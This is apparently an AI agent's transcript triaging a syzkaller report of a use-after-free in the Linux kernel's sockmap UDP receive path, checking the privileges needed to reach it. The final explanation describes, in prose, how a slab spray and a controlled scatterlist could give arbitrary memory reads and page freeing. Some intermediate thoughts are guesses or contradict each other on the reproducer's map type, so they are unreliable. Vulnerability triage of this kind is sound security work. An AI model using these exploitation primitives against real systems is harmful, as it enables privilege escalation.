SourceFile:kernel/bpf/inode.c]
|
| 42/2 |
2026/05/20 09:16 |
llm |
expert |
0m
Model:
Tokens:
input: 45921
output: 43
thoughts: 399
Thoughts: **My Line of Reasoning Regarding BPF and User Namespaces**
Okay, so I'm looking at this code and immediately see a point. Setting delegation mount options for BPF filesystems requires `CAP_SYS_ADMIN`, which is, crucially, checked in the *initial* user namespace. Therefore, an unprivileged user is completely blocked from mounting a BPF filesystem with those options, even *inside* a user namespace. That means they can't create a BPF token, right?
But then I had a thought, if they can't create a token, can they *still* create `SOCKMAP` or `SOCKHASH` maps within their own user namespace? Let me re-examine the `bpf_token_capable` function. Aha! I see. If there's no token present, the code defaults to checking capabilities against the *initial* user namespace! So it calls `bpf_ns_capable(&init_user_ns, cap)`.
That confirms it: without a token, any user must have the capability in the *initial* namespace to create a `SOCKMAP` or `SOCKHASH` map. Since they can't mount the BPF filesystem with delegation options, they can't get a token, and so they are blocked from creating those maps. So, no unprivileged user namespace usage here.
Now, what's going on with `bpf_ns_capable`? That needs to be understood.
|
| 43/2 |
2026/05/20 09:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/bpf/syscall.c IncludeLines:true Name:bpf_ns_capable]
Results: map[SourceCode: 12: static bool bpf_ns_capable(struct user_namespace *ns, int cap)
13: {
14: return ns_capable(ns, cap) || (cap != CAP_SYS_ADMIN && ns_capable(ns, CAP_SYS_ADMIN));
15: }
SourceFile:kernel/bpf/token.c]
|
| 44/2 |
2026/05/20 09:16 |
llm |
expert |
0m
Model:
Tokens:
input: 46781
output: 25
thoughts: 1241
Thoughts: **Analyzing the BPF Vulnerability**
Okay, let's break this down. First, `bpf_ns_capable` uses `ns_capable` which, when `token` is `NULL`, boils down to `capable(cap)` in the initial user namespace. This means an unprivileged user cannot create `SOCKMAP` or `SOCKHASH` maps on their own.
But, how is this vulnerability being triggered? The reproducer uses `BPF_MAP_CREATE` with a map type of 0x12 (18), which corresponds to `BPF_MAP_TYPE_REUSEPORT_SOCKARRAY`. Ah, but `REUSEPORT_SOCKARRAY` requires `CAP_BPF`, checked with `bpf_token_capable`. And since the reproducer is running as root, as confirmed by the syzkaller report, it has the necessary capabilities (`CAP_BPF` and `CAP_NET_ADMIN`).
Can an unprivileged user exploit this though? To trigger this, a BPF program needs to be attached to a UDP socket. The reproducer's method involves creating a map, which appears to be a `BPF_MAP_TYPE_SOCKMAP` based on the hex dump β 0x0f (15) is the map type, key size is 4, value size is 4, and max entries is 18. The reproducer then adds the UDP socket file descriptor to this map via `BPF_MAP_UPDATE_ELEM`. This looks like the critical step!
When a UDP socket is added to a `SOCKMAP`, `udp_bpf_update_proto` is called, which replaces the socket's `sk_prot` with `udp_bpf_prots`. This replaces the socket's `recvmsg` function with `udp_bpf_recvmsg`.
So, the crux is being able to add a UDP socket to a `SOCKMAP` or `SOCKHASH`. Can an unprivileged user do this? No, because they cannot create a `SOCKMAP` in the first place. What if a privileged user creates the map and passes the file descriptor to an unprivileged user? That might work, since the unprivileged user could then update the map. This is something to consider, even though it's less typical. What about cgroups? Is it possible to attach a BPF program via cgroups that impacts UDP sockets?
Crucially, though, `udp_bpf_recvmsg` is ONLY used when a socket is added to either a `SOCKMAP` or `SOCKHASH`, this needs to be verified.
|
| 45/2 |
2026/05/20 09:16 |
tool |
codesearch-find-references |
0m
Args: map[Name:udp_bpf_recvmsg]
Results: map[References:[map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:udp_bpf_rebuild_protos SourceFile:net/ipv4/udp_bpf.c SourceLine:130]] TruncatedOutput:false]
|
| 46/2 |
2026/05/20 09:16 |
llm |
expert |
0m
Model:
Tokens:
input: 48682
output: 49
thoughts: 15
Thoughts: Okay, here's my interpretation of that thought process, from an expert's perspective:
**Diving into `udp_bpf_rebuild_protos`**
Right, let's see... the code's asking me to specifically look at `udp_bpf_rebuild_protos`. That function's probably responsible for re-evaluating or reconstructing the protocol-specific aspects related to UDP within the BPF (Berkeley Packet Filter) context. Given my experience, I'm guessing this might involve things like:
* **Header manipulation:** Re-calculating checksums, or updating pointers to protocol headers within the BPF program's data structures.
* **Protocol classification:** Re-identifying the underlying protocols (e.g., DNS, NTP) that are encapsulated within UDP packets, after some initial evaluation.
* **Policy re-evaluation:** Ensuring any existing BPF policies that depend on the UDP packet's contents are still valid after some change, either made directly, or perhaps due to interactions with other parts of the network stack.
* **Performance:** I'll need to think about that, too. If it is being called in a hot path, this function really needs to be optimized, or the effects may be significant.
I need to see what's actually happening in that function. What is the context? And what is being changed. Got to start digging in.
|
| 47/2 |
2026/05/20 09:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv4/udp_bpf.c IncludeLines:true Name:udp_bpf_rebuild_protos]
Results: map[SourceCode: 126: static void udp_bpf_rebuild_protos(struct proto *prot, const struct proto *base)
127: {
128: *prot = *base;
129: prot->close = sock_map_close;
130: prot->recvmsg = udp_bpf_recvmsg;
131: prot->sock_is_readable = sk_msg_is_readable;
132: prot->ioctl = udp_bpf_ioctl;
133: }
SourceFile:net/ipv4/udp_bpf.c]
|
| 48/2 |
2026/05/20 09:16 |
llm |
expert |
0m
Model:
Tokens:
input: 49220
output: 27
thoughts: 16
Thoughts: Here's my thought process, summarized as you requested:
**Tracing the UDP BPF Rebuild**
Okay, so I'm trying to understand the control flow here, specifically how `udp_bpf_rebuild_protos` is being used. My immediate question is, where in the code is this function actually *called*? That's the crucial next step in piecing this puzzle together. I need to track down the call sites to understand the context and purpose of this rebuilding process. Knowing the caller will reveal the trigger and potentially the conditions under which these protocols are being rebuilt using the eBPF framework. This is fundamental to assessing its performance impact and ensuring its correctness. Time to dive into the codebase and find those references!
|
| 49/2 |
2026/05/20 09:16 |
tool |
codesearch-find-references |
0m
Args: map[Name:udp_bpf_rebuild_protos]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:udp_bpf_check_v6_needs_rebuild SourceFile:net/ipv4/udp_bpf.c SourceLine:140] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:udp_bpf_v4_build_proto SourceFile:net/ipv4/udp_bpf.c SourceLine:149]] TruncatedOutput:false]
|
| 50/2 |
2026/05/20 09:16 |
llm |
expert |
0m
Model:
Tokens:
input: 49558
output: 51
thoughts: 17
Thoughts: Here's a summary of my thought process, as requested:
**Diving into `udp_bpf_v4_build_proto`**
Okay, time to dig into this `udp_bpf_v4_build_proto` function. I need to understand what's going on within it. Considering the name, I'm expecting it's related to building the protocol structure for UDP packets when utilizing BPF (Berkeley Packet Filter), specifically for IPv4. I'm assuming this is probably involved in some kind of packet inspection or filtering setup. The "build_proto" part suggests it's likely responsible for constructing the specific data structure used by the BPF program to interact with the UDP headers. Let's see how that structure gets defined and what information it extracts from the packet. I'm looking for how it handles the source and destination ports, length, checksum and any other relevant UDP header fields in relation to the BPF program execution. I'll need to follow the function calls and understand the memory layout itβs creating or manipulating. Ultimately, I'm expecting to understand how this function facilitates BPF's ability to efficiently process UDP packets in an IPv4 environment. Time to get started!
|
| 51/2 |
2026/05/20 09:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv4/udp_bpf.c IncludeLines:true Name:udp_bpf_v4_build_proto]
Results: map[SourceCode: 147: static int __init udp_bpf_v4_build_proto(void)
148: {
149: udp_bpf_rebuild_protos(&udp_bpf_prots[UDP_BPF_IPV4], &udp_prot);
150: return 0;
151: }
SourceFile:net/ipv4/udp_bpf.c]
|
| 52/2 |
2026/05/20 09:16 |
llm |
expert |
0m
Model:
Tokens:
input: 50007
output: 48
thoughts: 23
Thoughts: Okay, here's my interpretation of that.
**Analyzing UDP BPF Protocol Updates**
Alright, so I'm digging into this `udp_bpf_prots` structure and the function `udp_bpf_update_proto`. My immediate thought is, "Okay, so `udp_bpf_prots` *must* be some kind of central repository or registry for UDP BPF (Berkeley Packet Filter) protocols, right? It's likely a data structure holding information about the various UDP protocols that BPF can handle." The fact that `udp_bpf_update_proto` is directly interacting with it makes it clear this is the core of how those protocols are added, modified, or perhaps even removed. It's the central point. I'm wondering if there's any obvious locking mechanism around it, probably need to check the definition of the structure itself. My next thought will be to see what kind of operations are being performed inside the `udp_bpf_update_proto` function on this list.
|
| 53/2 |
2026/05/20 09:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv4/udp_bpf.c IncludeLines:true Name:udp_bpf_update_proto]
Results: map[SourceCode: 154: int udp_bpf_update_proto(struct sock *sk, struct sk_psock *psock, bool restore)
155: {
156: int family = sk->sk_family == AF_INET ? UDP_BPF_IPV4 : UDP_BPF_IPV6;
157:
158: if (restore) {
159: WRITE_ONCE(sk->sk_write_space, psock->saved_write_space);
160: sock_replace_proto(sk, psock->sk_proto);
161: return 0;
162: }
163:
164: if (sk->sk_family == AF_INET6)
165: udp_bpf_check_v6_needs_rebuild(psock->sk_proto);
166:
167: sock_replace_proto(sk, &udp_bpf_prots[family]);
168: return 0;
169: }
SourceFile:net/ipv4/udp_bpf.c]
|
| 54/2 |
2026/05/20 09:17 |
llm |
expert |
0m
Model:
Tokens:
input: 50605
output: 26
thoughts: 23
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience, and presented as my own internal monologue:
**Delving into the `udp_bpf_update_proto` Function Call**
Right, so I'm thinking about the control flow here, particularly how protocol-specific BPF updates are handled. I see that `udp_bpf_update_proto` is called within the context of `sock_map_update_proto`. That's interesting, and worth digging into. I immediately start picturing the relationship β `sock_map_update_proto` must be the broader framework, the higher-level function managing updates to socket maps, and `udp_bpf_update_proto` is its specialized handler for UDP sockets when it comes to BPF integration.
This suggests that the function likely acts as a helper function or a dispatch to handle UDP-specific BPF actions, likely within a broader context. I'll need to explore where `sock_map_update_proto` is used, to see what triggers the call to `udp_bpf_update_proto`. This kind of design implies a modular structure. Makes sense, given the complex nature of these networking components. So, I need to see how the socket map update mechanism is initialized, how it handles different protocols and what are the triggers for each one. The call graph is obviously going to be important here.
|
| 55/2 |
2026/05/20 09:17 |
tool |
codesearch-find-references |
0m
Args: map[Name:udp_bpf_update_proto]
Results: map[References:<nil> TruncatedOutput:false]
|
| 56/2 |
2026/05/20 09:17 |
llm |
expert |
0m
Model:
Tokens:
input: 50967
output: 45
thoughts: 29
Thoughts: Here's my thought process, as if I were experiencing it:
**Digging into the BPF Protocol Update**
Okay, so I'm getting a "not found" error for `udp_bpf_update_proto`. That's unexpected, but not the end of the world. It means something in my setup or environment is leading to that symbol not being visible where it's expected.
My immediate next step is to see if I can figure out *why* that symbol isn't being found. Let me check and make sure the expected infrastructure is correctly set up. I suspect that the underlying update is being done by `sock_map_update_proto`. Let's confirm that by reviewing the relevant code. I need to understand the relationship between these functions, if any, and see if there might be an oversight in how I'm invoking or linking this functionality. Perhaps there's an issue with the BPF program I'm using, or the kernel module setup. This isn't necessarily a critical failure, but it *is* a problem I need to address before proceeding.
|
| 57/2 |
2026/05/20 09:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/sock_map.c IncludeLines:true Name:sock_map_init_proto]
Results: map[SourceCode: 189: static int sock_map_init_proto(struct sock *sk, struct sk_psock *psock)
190: {
191: if (!sk->sk_prot->psock_update_sk_prot)
192: return -EINVAL;
193: psock->psock_update_sk_prot = sk->sk_prot->psock_update_sk_prot;
194: return sk->sk_prot->psock_update_sk_prot(sk, psock, false);
195: }
SourceFile:net/core/sock_map.c]
|
| 58/2 |
2026/05/20 09:17 |
llm |
expert |
0m
Model:
Tokens:
input: 51451
output: 26
thoughts: 2543
Thoughts: **Analysis of the UDP `recvmmsg` UAF Vulnerability**
Okay, so the vulnerability stems from a race condition in the `udp_bpf_recvmsg` function, which is triggered when a UDP socket is added to a `SOCKMAP` or `SOCKHASH` and concurrent `recvmmsg` calls are made. My initial thought process led me to this conclusion by tracing the function calls involved: `sk->sk_prot->psock_update_sk_prot` -> `udp_prot.psock_update_sk_prot` which is `udp_bpf_update_proto`. This is used when a socket gets added to the bpf map.
The key question is, *can an unprivileged user trigger this?* The answer is no, by default. Unprivileged users can't create `SOCKMAP` or `SOCKHASH` maps, which is a requirement to trigger `udp_bpf_recvmsg`. However, there's a more nuanced scenario: a privileged process could create a `SOCKMAP`, attach a BPF program to a cgroup, and then unprivileged processes creating sockets *within that cgroup* might have their sockets added to the `SOCKMAP`. This is where the vulnerability becomes accessible, but not by default. `bpf_sock_ops` programs can use `bpf_sock_map_update` helper to update the bpf map.
Now, let's explore the access control. Creating a `SOCKMAP` requires `CAP_NET_ADMIN` in the *initial* user namespace, not just within a user namespace. This is confirmed by checking `bpf_token_capable` which eventually calls `ns_capable(&init_user_ns, CAP_NET_ADMIN)`. An unprivileged user can't create a `bpf_token` with delegation options, and thus, `CAP_NET_ADMIN` in a user namespace is *not* sufficient.
We assume that `sysctl_unprivileged_bpf_disabled` is set to 1, disabling eBPF loading for unprivileged users. This is important to note since a disabled `BPF` makes exploitation more difficult.
The next question: are there other avenues to `udp_bpf_recvmsg`? `AF_UNIX` sockets use `unix_bpf_recvmsg`, but this is protected by a mutex, eliminating the race condition.
I then revisited the packet injection path: Could an unprivileged user inject packets directly, for instance with a `bpf_test_run_xdp_live`? If the UDP socket is already in a `SOCKMAP`, incoming packets would go through `sk_psock_skb_ingress_self` and be queued to `psock->ingress_msg`, which the `recvmmsg` calls trigger to use `udp_bpf_recvmsg`. Importantly, network traffic itself can put packets in the `SOCKMAP` (provided the other criteria are met, and this is the default scenario). But *concurrent* calls to `recvmmsg` are required. So, a privileged process would need to put an unprivileged user's socket in the `SOCKMAP`, and the unprivileged user must make calls to `recvmmsg`. It's a combination of setup plus triggering.
This means the bug is not triggered by the network, but by user space syscall calls (`recvmmsg` in this case).
Let's confirm the concurrency of `recvmmsg`. It calls `sock_recvmsg` in a loop, and multiple threads can share the file descriptor and call `recvmmsg`. UDP's `udp_recvmsg` *doesn't* take locks, so concurrent `recvmsg` calls are fine. But crucially, `udp_bpf_recvmsg` calls `sk_msg_recvmsg`, which, in turn, calls `__sk_msg_recvmsg`. This is where the race happens: `__sk_msg_recvmsg` has no locks and modifies `msg_rx->sg` and frees `msg_rx`. I can see the lack of locking.
Looking deeper into the code: `sk_psock_get` increments the `psock` reference count, so no problem there. But `sk_psock_peek_msg` takes `psock->ingress_lock` and then *drops* it. This leads to the race because `__sk_msg_recvmsg` accesses `msg_rx` *without* any lock. Two threads might access the same `msg_rx`, with one thread potentially freeing it before the other finishes, leading to a UAF.
In summary, this is a clear race condition, but it's *not* accessible to unprivileged users by default due to the `CAP_NET_ADMIN` requirement in the initial user namespace to create `SOCK
|
| 59/2 |
2026/05/20 09:17 |
tool |
codesearch-find-references |
0m
Args: map[Name:udp_bpf_update_proto]
Results: map[References:<nil> TruncatedOutput:false]
|
| 60/2 |
2026/05/20 09:17 |
llm |
expert |
0m
Model:
Tokens:
input: 55062
output: 48
thoughts: 1433
Thoughts: **My Analysis of the Socket Filter Vulnerability**
Okay, let me break this down. My initial understanding was correct: `SO_ATTACH_BPF` and `SO_ATTACH_REUSEPORT_EBPF` don't directly modify `sk_prot`. The key is that `sk_prot` gets set to `udp_bpf_prots` only through `sock_map_init_proto`. This is critical, and those calls happen exclusively within the context of `sock_map_link` and `sock_hash_update_elem`, meaning only when operating on `SOCKMAP` or `SOCKHASH` maps. Now, the creation of a `SOCKMAP` or `SOCKHASH` requires `CAP_NET_ADMIN` in the *initial* user namespace, which is the baseline.
Let's verify the `SOCKMAP` creation logic. The code confirms that I need `CAP_NET_ADMIN` to create these specific map types. If the bpf token is not provided, it defaults to checking `bpf_ns_capable` on the `init_user_ns`. The logic `bpf_ns_capable` checks if `ns_capable` is true, or if `CAP_SYS_ADMIN` is set, and it's not `CAP_SYS_ADMIN`. So it's checking `CAP_NET_ADMIN` in the initial user namespace. If I *do* have a token, it checks the user namespace associated with the token. To create the token, I need the `bpf` filesystem mounted with the `delegate_maps` option, which requires `CAP_SYS_ADMIN` in the initial user namespace. This confirms that I can't create that token, and therefore can't create those maps. Therefore, an unprivileged user can't create a `SOCKMAP` or `SOCKHASH`.
However, what if the system admin has already mounted the `bpf` filesystem with `delegate_maps=any`? Then, and only then, if the host administrator *explicitly* delegates BPF capabilities, would unprivileged users be able to create the token, and then the map. But this is not the default behavior. Also, delegation is a relatively recent feature, so it's not a common configuration.
Now, let's go back and re-evaluate the attack surface.
* Exploitable: Yes.
* Denial of Service: Yes.
* Accessible From Unprivileged Processes: No.
* Accessible From User Namespaces: No.
* VM Guest Trigger: No.
* VM Host Trigger in The Confidetial Computing Context: No.
* Ethernet Network Trigger: No.
* Other Remote Trigger: No.
* Peripheral Trigger: No.
* Malicious Filesystem Trigger: No.
Hold on, I see a potential local trigger. If a privileged process creates a `SOCKMAP` and puts a UDP socket in it, and then calls `recvmmsg` *concurrently* from multiple threads on that same socket, then the bug is reachable. This would be a local trigger. The network traffic is not the source, just a way to make `sk_msg` read by `recvmmsg`. It's the concurrent `recvmmsg` calls that trigger the UAF.
Okay, is there any other way `udp_bpf_recvmsg` could be called? Could `io_uring` generate these concurrent calls? Yes, `io_uring` *can* issue multiple concurrent `recvmsg` requests on the same socket. That means if the socket is in a `SOCKMAP`, `io_uring` calling `recvmsg` concurrently will trigger the UAF. But again, the socket must be in a `SOCKMAP` which requires `CAP_NET_ADMIN`.
Just to be absolutely sure, can `sk_psock_get` return a psock when the socket is NOT in a `SOCKMAP`? No, because `sk_psock_get` returns `sk->sk_user_data`, and for a socket to have a `psock`, it must be initialized via `sk_psock_init`, which only happens through `sock_map_link` or `sock_hash_update_elem`. So no, not in this case.
Is there any other map type that uses `psock`? Checking `BPF_MAP_TYPE_REUSEPORT_SOCKARRAY`, it looks like `reuseport_array_update_check` is important...
|
| 61/2 |
2026/05/20 09:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/bpf/reuseport_array.c IncludeLines:true Name:reuseport_array_update_check]
Results: map[SourceCode: 187: static int
188: reuseport_array_update_check(const struct reuseport_array *array,
189: const struct sock *nsk,
190: const struct sock *osk,
191: const struct sock_reuseport *nsk_reuse,
192: u32 map_flags)
193: {
194: if (osk && map_flags == BPF_NOEXIST)
195: return -EEXIST;
196:
197: if (!osk && map_flags == BPF_EXIST)
198: return -ENOENT;
199:
200: if (nsk->sk_protocol != IPPROTO_UDP && nsk->sk_protocol != IPPROTO_TCP)
201: return -ENOTSUPP;
202:
203: if (nsk->sk_family != AF_INET && nsk->sk_family != AF_INET6)
204: return -ENOTSUPP;
205:
206: if (nsk->sk_type != SOCK_STREAM && nsk->sk_type != SOCK_DGRAM)
207: return -ENOTSUPP;
208:
209: /*
210: * sk must be hashed (i.e. listening in the TCP case or binded
211: * in the UDP case) and
212: * it must also be a SO_REUSEPORT sk (i.e. reuse cannot be NULL).
213: *
214: * Also, sk will be used in bpf helper that is protected by
215: * rcu_read_lock().
216: */
217: if (!sock_flag(nsk, SOCK_RCU_FREE) || !sk_hashed(nsk) || !nsk_reuse)
218: return -EINVAL;
219:
220: /* READ_ONCE because the sk->sk_callback_lock may not be held here */
221: if (READ_ONCE(nsk->sk_user_data))
222: return -EBUSY;
223:
224: return 0;
225: }
SourceFile:kernel/bpf/reuseport_array.c]
|
| 62/2 |
2026/05/20 09:18 |
llm |
expert |
0m
Model:
Tokens:
input: 58156
output: 66
thoughts: 1477
Thoughts: **Analysis of the BPF UAF Vulnerability**
Okay, let's break this down. First, the `reuseport_array` doesn't use `psock`. It just stores the socket. And there's a check to avoid conflicts with `psock` (which is used by `sk_user_data`). So, `BPF_MAP_TYPE_REUSEPORT_SOCKARRAY` doesn't attach `psock` or modify `sk_prot`. Got it.
This means only `SOCKMAP` and `SOCKHASH` use `psock` and change `sk_prot`. And *both* of those require `CAP_NET_ADMIN`. Now, the reproducer uses `0x0f`, which is `BPF_MAP_TYPE_SOCKMAP`. Confirmed: it needs `CAP_NET_ADMIN`.
Alright, a quick summary: The core issue is a Use-After-Free in `__sk_msg_recvmsg`. This happens due to a race condition when multiple threads call `recvmsg` concurrently on a UDP socket that's been put into a `SOCKMAP` or `SOCKHASH`. The problem is that `udp_bpf_recvmsg` doesn't take any locking that serializes access to `__sk_msg_recvmsg`. The function peeks a message from `psock->ingress_msg`, processes it, and if another thread does the same concurrently, you can have a race to free the message. The UAF is exploitable because it gives control of `msg_rx->sg`, so an attacker can read arbitrary physical memory (via `copy_page_to_iter`) and decrement page refcounts (via `put_page`). Pretty nasty.
Crucially, this only works if the UDP socket is added to a `SOCKMAP` or `SOCKHASH`. Creating either of those requires `CAP_NET_ADMIN` in the initial user namespace (or a privileged BPF token). So, unprivileged users or users in a user namespace without `CAP_NET_ADMIN` are out of luck. This is a local privilege escalation or a denial-of-service for users that already have `CAP_NET_ADMIN`.
Now, does `bpf_test_run_xdp_live` really have a role here? No, it's just used to inject a packet. An attacker could simply send a UDP packet from loopback or another machine. The key is that the socket is in a `SOCKMAP` and has a BPF program attached that redirects the packet into the ingress queue (like with `bpf_sk_redirect_map`). Does the socket *need* a BPF program?
If a socket is in a `SOCKMAP`, does it *automatically* use `udp_bpf_recvmsg`? Yes! `sock_map_link` calls `sock_map_init_proto`, replacing `sk_prot` with `udp_bpf_prots`. So any packet received goes through `udp_bpf_recvmsg`. But, does `udp_bpf_recvmsg` *always* call `__sk_msg_recvmsg`? Let's check `udp_bpf_recvmsg`:
```c
if (!psock_has_data(psock)) {
ret = sk_udp_recvmsg(sk, msg, len, flags);
goto out;
}
msg_bytes_ready:
copied = sk_msg_recvmsg(sk, psock, msg, len, flags);
```
If there's no data in `psock` it calls `sk_udp_recvmsg`. So how does data get into `psock->ingress_msg`? It looks like it goes there via `sk_psock_skb_ingress_self` or `sk_psock_skb_ingress`, which are called from `sk_psock_verdict_recv` or `sk_psock_verdict_apply`. Those require a *verdict* program (e.g., `BPF_PROG_TYPE_SK_SKB`) attached to the `SOCKMAP`. The attacker also needs to load a BPF program to redirect packets. Since BPF programs are also loaded with `CAP_NET_ADMIN` requirements, this reinforces the privileged user requirement.
So, the steps to trigger this are:
1. Create a `SOCKMAP` (`CAP_NET_ADMIN`).
2. Load a `BPF_PROG_TYPE_SK_SKB` program (`CAP_BPF` + `CAP_NET_ADMIN`).
3. Attach the program to the `SOCKMAP` (`CAP_NET_ADMIN`).
4. Add a UDP socket to the `SOCKMAP` (`
|
| 63/2 |
2026/05/20 09:18 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 64/2 |
2026/05/20 09:18 |
llm |
expert |
0m
Model:
Tokens:
input: 60788
output: 806
thoughts: 604
Thoughts: **My Assessment of the Use-After-Free Vulnerability**
Okay, the analysis is done. Time to synthesize my understanding and formulate a concise response. Here's what I've concluded.
This is a pretty nasty slab-use-after-free, specifically within `__sk_msg_recvmsg` in the `net/core/skmsg.c` file. The core of the problem stems from a race condition, triggered when multiple threads concurrently execute `recvmsg` or `recvmmsg` on a UDP socket that's been integrated with BPF. This only occurs if the socket is part of a BPF `SOCKMAP` or `SOCKHASH`.
The key is how the BPF integration modifies the socket's behavior. When a UDP socket joins a `SOCKMAP`, its `sk_prot` gets swapped for `udp_bpf_prots`, and now `udp_bpf_recvmsg` takes charge. Unlike its TCP counterpart, `udp_bpf_recvmsg` fails to take the socket lock via `lock_sock(sk)` before handing off to `__sk_msg_recvmsg`. This is the crux.
Inside `__sk_msg_recvmsg`, the code peeks at the first message in `psock->ingress_msg` (briefly acquiring, then immediately releasing, `psock->ingress_lock`) and then proceeds to process it *without* any further locking. This is where the race happens. If two threads hit this code path at the same time, they can both look at the same `sk_msg`. One thread might finish processing it, dequeue it, and free it via `kfree_sk_msg`, while the other thread is still merrily referencing the just-freed memory! Classic Use-After-Free.
The vulnerability is quite exploitable. The `sk_msg` objects reside in the `kmalloc-1k` cache, which means an attacker *could* potentially reallocate it with carefully crafted data. This is where it gets interesting. By controlling `msg_rx->sg`, the attacker could trick `copy_page_to_iter` into reading arbitrary physical memory to user space, essentially an arbitrary read. And even worse, they could control the `page` pointer passed to `put_page`, giving them the power to decrement the reference count of arbitrary pages, which could lead to arbitrary code execution. It's a pretty powerful primitive.
However, there are significant caveats. To hit this vulnerable code path, a UDP socket *must* be added to a `SOCKMAP` or `SOCKHASH`, and a BPF program must be attached to redirect packets to the socket's ingress queue. Building these `SOCKMAP` or `SOCKHASH` structures and attaching the requisite BPF programs requires `CAP_NET_ADMIN` in the initial user namespace, and loading BPF programs requires both `CAP_BPF` and `CAP_NET_ADMIN`.
This means unprivileged users are out of luck, and it can't be triggered from an unprivileged user namespace. Significant privileges are needed to set up the BPF infrastructure. And, because the exploit requires concurrent syscalls on the *same* socket, it's a local vulnerability, not something that can be triggered remotely by network traffic alone.
|
| 65/1 |
2026/05/20 09:18 |
action |
format-explanation |
0m
Results: map[Explanation:**Bug Analysis:**
The bug is a highly exploitable slab-use-after-free in `__sk_msg_recvmsg` within
the BPF socket map subsystem (`net/core/skmsg.c`).
**Root Cause:**
The vulnerability stems from a race condition when multiple threads concurrently
call `recvmsg` (or `recvmmsg`) on a UDP socket that has been added to a BPF
`SOCKMAP` or `SOCKHASH`.
When a UDP socket is inserted into a `SOCKMAP`, its protocol operations
(`sk_prot`) are replaced with `udp_bpf_prots`, routing `recvmsg` calls to
`udp_bpf_recvmsg`. Unlike its TCP counterpart (`tcp_bpf_recvmsg`),
`udp_bpf_recvmsg` fails to acquire the socket lock (`lock_sock(sk)`) before
calling into `sk_msg_recvmsg` -> `__sk_msg_recvmsg`.
In `__sk_msg_recvmsg`, the code peeks at the first message in the socket's
ingress queue (`psock->ingress_msg`). It briefly takes `psock->ingress_lock` to
get the message pointer but drops the lock immediately before processing the
message. If two threads enter this function concurrently, they can both peek at
the exact same `sk_msg` object. One thread can finish copying the data, dequeue
the message, and free it via `kfree_sk_msg()`, while the second thread is still
actively reading from or modifying the freed `sk_msg` structure, resulting in a
Use-After-Free.
**Exploitability:**
This UAF is highly exploitable for local privilege escalation. The `sk_msg`
object is allocated from the `kmalloc-1k` slab cache, which an attacker can
easily spray and reallocate with controlled data. By controlling the
`msg_rx->sg` (scatterlist) fields within the reallocated object, an attacker
can:
1. **Arbitrary Memory Read:** Point the scatterlist to arbitrary physical pages.
The kernel will then use `copy_page_to_iter()` to copy the contents of those
pages directly into the attacker's user-space buffer.
2. **Arbitrary Page Free:** Control the `page` pointer that is eventually passed
to `put_page()` when the message is consumed. This allows the attacker to
decrement the reference count of arbitrary physical pages, leading to a
page-level Use-After-Free, a well-known and powerful primitive for achieving
arbitrary code execution.
**Access and Privileges:**
Despite its severity, the bug is strictly gated by high privileges. To reach the
vulnerable `udp_bpf_recvmsg` path, an attacker must:
1. Create a `BPF_MAP_TYPE_SOCKMAP` or `BPF_MAP_TYPE_SOCKHASH`.
2. Load a BPF verdict program (e.g., `BPF_PROG_TYPE_SK_SKB`) and attach it to
the map to route packets into the `psock->ingress_msg` queue.
3. Insert a UDP socket into the map.
Creating `SOCKMAP`/`SOCKHASH` maps and attaching these BPF programs requires
`CAP_NET_ADMIN` and `CAP_BPF` in the **initial user namespace**. Unprivileged
users cannot create these maps, even if they create a new user namespace (as BPF
token delegation, which could theoretically bypass this, requires
`CAP_SYS_ADMIN` in the initial namespace to mount the BPF filesystem with
delegation options).
Therefore, the bug is not accessible to unprivileged users or from within
unprivileged containers. It acts as a local privilege escalation or
denial-of-service vector only for users who already possess `CAP_NET_ADMIN`
privileges.]
|